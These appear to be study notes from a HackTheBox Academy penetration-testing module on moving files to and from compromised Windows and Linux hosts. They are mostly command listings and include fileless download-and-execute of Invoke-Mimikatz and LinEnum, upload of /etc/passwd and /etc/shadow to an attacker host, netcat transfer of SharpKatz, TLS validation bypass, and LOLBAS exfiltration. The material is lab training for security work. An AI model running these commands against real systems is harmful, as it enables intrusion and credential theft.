HackTheBox Academy - File Transfers

Updated 29-03-2026

This module covers file transfer techniques leveraging tools commonly available across all versions of Windows and Linux systems.

File Transfer Methods

Windows File Transfer Methods

PowerShell Base64 Encode & Decode

  • We can encode a file to a base64 string then copy its contents and decode the file in the original content
  • It’s not always possible to use. Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, web shell may error we send extremely large strings.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # on your machine
    # check md5 hash sum
    md5sum id_rsa
    # encode to base64
    cat id_rsa |base64 -w 0;echo

    # on target
    # decode base64
    [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPU...SNIPPED"))
    # confirm md5 match
    Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

PowerShell Web Downloads

  • In any version of PowerShell, we can use System.Net.WebClient class to download files over HTTP, HTTPS or FTP
    1
    2
    3
    4
    5
    6
    # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
    (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

    # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
    (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')

PowerShell DownloadString - Fileless Method
  • Fileless attacks works by using OS functions to download the payload and execute it directly
  • It works by running the payload directly in memory instead of download the script to disk using the Invoke-Expression or the alias IEX
    1
    2
    3
    4
    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

    # IEX accepts pipline input
    (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
PowerShell Invoke-WebRequest
  • Invoke-WebRequest cmdlet is also available in PowerShell 3.0+ but has slow download speeds
  • We can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name
    1
    Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
Common Errors with PowerShell
  • Not completed Internet Explorer’s first launch configuration can prevent the download; can be bypassed with -UseBasicParsing
  • SSL/TLS not being trusted can also prevent the download
    1
    2
    3
    4
    5
    # bypass IE first launch config error
    Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

    # bypass SSL/TLS certificate not trusted
    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

SMB Downloads

  • Server Message Block runs on port tcp/445 and is common in enterprise networks where Windows services are running
  • SMB can be used to download files from our attack host using smbserver.py from Impacket
  • New versions of Windows block unauthorized guess access
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # create the smb server
    sudo impacket-smbserver share -smb2support /tmp/smbshare
    # in target: copy the file from the smb server
    copy \\192.168.220.133\share\nc.exe

    # for newer version of windows that block guest access
    # create the smb server with user and pass
    sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
    # mount the smb server
    net use n: \\192.168.220.133\share /user:test test

FTP Downloads

  • FTP client or PowerShell Net.WebClient can be used to download files from an FTP server which uses port port tcp/21 and tcp/20
  • an FTP server can be configured using Python3 pyftpdlib
  • if we don’t have an interactive shell, we can create an FTP command file to download a file
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    # in our host
    # install and setup the FTP server
    sudo pip3 install pyftpdlib
    sudo python3 -m pyftpdlib --port 21

    # in target
    # dowlnoad file from an FTP server
    (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
    # download the file by creating a command file for the ftp client
    echo open 192.168.49.128 > ftpcommand.txt
    echo USER anonymous >> ftpcommand.txt
    echo binary >> ftpcommand.txt
    echo GET file.txt >> ftpcommand.txt
    echo bye >> ftpcommand.txt

    ftp -v -n -s:ftpcommand.txt
    ftp> open 192.168.49.128
    Log in with USER and PASS first.
    ftp> USER anonymous

    ftp> GET file.txt
    ftp> bye

    C:\htb>more file.txt
    This is a test file

Reverse PowerShell Base64 Encode & Decode

1
2
3
4
5
6
7
8
9
10
11
# in target
# encode file
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
# check md5 sum
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash

# on our host
# decode file
echo IyBDb3B5cmlna...SNIPPED | base64 -d > hosts
# check md5 sum
md5sum hosts

PowerShell Web Uploads

  • PowerShell doesn’t have a built-in function for upload operations but Invoke-WebRequest or Invoke-RestMethod can be used

  • We can use uploadserver to start a web server that includes a file upload page

  • PowerShell script PSUpload.ps1 can be used to perform upload operations which uses Invoke-RestMethod

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # on our host
    # install and start the upload server
    pip3 install uploadserver
    python3 -m uploadserver

    # on target
    # using PSUpload.ps1 to upload
    IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

    Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
PowerShell Base64 Web Upload
  • we can also upload base64 encoded files using Invoke-WebRequest or Invoke-RestMethod together with Netcat by sending the file as a POST request
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # in target
    # convert file to base64 and send a post request
    $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
    Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

    # on our host
    # start a listener to catch the post data
    nc -lvnp 8000
    # decode to file
    echo <base64> | base64 -d -w 0 > hosts

SMB Uploads

  • Commonly enterprises don’t allow SMB protocol tcp/445 out of their internal network; An alternative is to use SMB over HTTP with WebDAV which is an extension of HTTP
  • When using SMB it will first attempt to use SMB protocol and then it will try to connect using HTTP if there’s no SMB share is found
  • If there are no SMB (TCP/445) restrictions, we can use impacket-smbserver the same way we set it up for download operations
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # on our host
    # configure webdab
    sudo pip3 install wsgidav cheroot
    sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

    # on target
    # connec to the webdav share
    dir \\192.168.49.128\DavWWWRoot
    # upload files using smb
    copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
    copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\

FTP Uploads

  • Uploading files using FTP is similar to downloads file but --write option needs to be specified to allow clients to upload files to our host
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    # on our host
    # start the ftp server
    sudo python3 -m pyftpdlib --port 21 --write

    # on target
    # powershell upload file
    (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
    # create a command file for the ftp client to upload a file
    C:\htb> echo open 192.168.49.128 > ftpcommand.txt
    C:\htb> echo USER anonymous >> ftpcommand.txt
    C:\htb> echo binary >> ftpcommand.txt
    C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
    C:\htb> echo bye >> ftpcommand.txt
    C:\htb> ftp -v -n -s:ftpcommand.txt
    ftp> open 192.168.49.128

    Log in with USER and PASS first.


    ftp> USER anonymous
    ftp> PUT c:\windows\system32\drivers\etc\hosts
    ftp> bye

Linux File Transfer Methods

Base64 Encoding / Decoding

  • depending on the file size, we can use a method that doesn’t require network communication
    1
    2
    3
    4
    5
    6
    7
    8
    9
    # check md5 hash
    md5sum id_rsa
    # encode
    cat id_rsa |base64 -w 0;echo

    # on target - decode
    echo -n 'LS0tLS1CR...SNIPPED' | base64 -d > id_rsa
    # confirm hash match
    md5sum id_rsa

Web Downloads with Wget and cURL

  • curl and wget are the most common utilities used to interact with web applications
    1
    2
    3
    4
    5
    # download using wget
    wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

    # download using curl
    curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Fileless Attacks

  • Pipe operations can be used with most Linux tools to replicate fileless operation, which means we can execute a file without download it
    1
    2
    3
    4
    5
    # using curl
    curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

    # using wget
    wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Download with Bash (/dev/tcp)

  • Can be used with bash 2.04+ (compiled with –enable-net-redirections)
  • The built-in /dev/tcp device file can be used to for simple file downloads
    1
    2
    3
    4
    5
    6
    7
    8
    # connect to target webserver
    exec 3<>/dev/tcp/10.10.10.32/80

    # http get request
    echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

    # print response
    cat <&3

SSH Downloads

  • SSH is a protocol that allows secure access to remote computers
  • It comes with scp utility for remote file transfer that by default uses ssh
    1
    scp plaintext@192.168.49.128:/root/myroot.txt .

Web Upload

  • Same as Windows section, we can use python’s uploadserver module to start a webserver with a file upload page
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # setup
    sudo python3 -m pip install --user uploadserver
    # create a self signed certificate
    openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
    # start the web server
    mkdir https && cd https
    sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

    # on compromised machine
    # upload passwd and shadow files
    curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Alternative Web File Transfer Method

  • Linux distro usually have python or php installed, which can be used to start a web server to transfer files
  • If the compromised server is a web server, we can move the files we want to transfer to the web directory and access them from the web page
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # python3
    python3 -m http.server
    # python2
    python2.7 -m SimpleHTTPServer
    # php
    php -S 0.0.0.0:8000
    # ruby
    ruby -run -ehttpd . -p8000

    # on our machine
    # dowonload the file from the target machine
    wget 192.168.49.128:8000/filetotransfer.txt

SCP Upload

1
scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/

Transferring Files with Codes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# python2
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

# python3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

# php using file_get_contents()
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

# php using fopen()
php -r 'const BUFFER = 1024; $fremote =
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

# php download and pipe with bash
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

# ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

# perl
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

# javascript
# wget.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
# download using javascript and cscript.exe
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

# vbscript
# wget.vbs
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
# download using vbscript and csscript.exe
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

# upload using python one-liner
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

Miscellaneous File Transfer Methods

Netcat and Ncat

  • on a compromised machine we can start a listener

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # using original netcat
    # on compromised machine
    nc -l -p 8000 > SharpKatz.exe
    # on attack host
    nc -q 0 192.168.49.128 8000 < SharpKatz.exe

    # using ncat
    # on compromised machine
    ncat -l -p 8000 --recv-only > SharpKatz.exe
    # on attack host
    ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
  • instead of listening on the compromised host, we can connect to a port on our attack host to transfer the file

  • this method is useful if the firewall is blocking inbound connections

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # using original netcat
    # on attack host
    sudo nc -l -p 443 -q 0 < SharpKatz.exe
    # on compromised machine
    nc 192.168.49.128 443 > SharpKatz.exe

    # using ncat
    # on attack host
    sudo ncat -l -p 443 --send-only < SharpKatz.exe
    # on compromised host
    ncat 192.168.49.128 443 --recv-only > SharpKatz.exe
  • if compromised machine doesn’t have netcat or ncat installed, we can use Bash which supports read/write operations on a pseudo-device file /dev/TCP/

    1
    2
    # on compromised machione
    cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

PowerShell Session File Transfer

  • in cases wheree HTTP, HTTPS or SMB are unavailable, we can use PowerShell Remoting, aka WinRM to perform our file transfer operations
  • uses ports tcp/5985 for HTTP and tcp/5986 for HTTPS
    1
    2
    3
    4
    5
    6
    7
    8
    # Create a PowerShell Remoting Session to DATABASE01
    $Session = New-PSSession -ComputerName DATABASE01

    # Copy samplefile.txt from our Localhost to the DATABASE01 Session
    Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

    # Copy DATABASE.txt from DATABASE01 Session to our Localhost
    Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session`

RDP

  • We can transfer files with copy and pasting
  • An alternative to copy and paste, we can mount a local resource to the target RDP server
  • rdesktop or xfreerdp can be used to expose a local folder in the remote RDP session
    1
    2
    3
    4
    5
    # mount folder using rdesktop
    rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r di

    # mount folder using xfreerdp
    xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer`

Protected File Trasnfer

  • We can encrypt data/files before a transfer to prevent sensitive data from being read if intercepted in transit
  • One of the simplest methods to encrypt in Window is the Invoke-AESEncryption.ps1 PowerShell script
  • on Linux, openssl can be used to encrypt files
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # after transfering using any previously showed file transfer method
    # import the module
    Import-Module .\Invoke-AESEncryption.ps1
    # encrypt a file
    Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

    # on linux
    # encypt
    openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
    # decrypt
    openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd`

Living off The Land

  • There are currently two websites that aggregate information on Living off the Land binaries:

  • Living off the Land binaries can be used to perform functions such as:

    • Download
    • Upload
    • Command Execution
    • File Read
    • File Write
    • Bypasses
  • To search for download and upload functions in LOLBAS we can use /download or /upload.

  • To search for the download and upload function in GTFOBins for Linux Binaries, we can use +file download or +file upload.

  • For Windows, Let’s use CertReq.exe as an example

    1
    2
    3
    4
    # from compromised machine: upload win.ini
    certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini
    # on attack host: recieve the file using a netcat session
    sudo nc -lvnp 8000
  • For Linux, Let’s use OpenSSL. OpenSSL can be used to send files “nc style.”

1
2
3
4
5
6
7
8
9
# on attack host
# create certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
# stand up the server
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

# on compromised host
# download the file
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh